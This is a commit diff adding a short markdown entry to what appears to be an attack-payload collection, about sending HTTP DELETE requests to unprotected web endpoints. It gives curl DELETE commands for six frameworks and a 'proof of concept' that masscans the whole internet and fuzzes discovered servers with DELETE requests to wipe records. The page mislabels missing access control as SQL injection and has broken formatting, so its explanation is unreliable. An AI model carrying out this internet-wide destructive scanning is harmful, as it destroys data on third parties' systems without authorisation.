Add delete http request leading to sql injection on unprotected endpoints

SQL Injection/DELETE HTTP request.md

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+# DELETE HTTP request
+
+Using http client you can try to delete unprotected web content from database using DELETE http request which tells the underlying web app to execute SQL command like `DELETE FROM users WHERE id = 123;``
+
+## Execution
+
+Assuming the servers for each framework are running on their default ports
+and you want to delete the resource with an ID of 123:
+
+### Express.js (Node.js)
+
+```sh
+curl -X DELETE http://localhost:3000/users/123
+```
+
+### Django (Python)
+
+```sh
+curl -X DELETE http://localhost:8000/users/123/
+```
+
+### Ruby on Rails (Ruby)
+
+```sh
+curl -X DELETE http://localhost:3000/users/123
+```
+
+### Spring Boot (Java)
+
+```sh
+curl -X DELETE http://localhost:8080/users/123
+```
+
+### ASP.NET Core (C#)
+
+```sh
+curl -X DELETE http://localhost:5000/Users/123
+````
+
+### Laravel (PHP)
+
+```sh
+curl -X DELETE http://localhost:8000/api/users/123
+```
+
+The server has to implement `DELETE` route handler, in terms of `CRUD` it's the last, delete part.
+
+## Proof of concept
+
+1. Run `masscan` over the whole internet looking for web servers
+2. Build a wordlist of _delete api routes_
+3. Using web scanner like `dirbuster`, `gobuster` or fuzzer like `ffuf` feed it with `DELETE` http request and wordlist
+
+* This is just an example of APT behaviour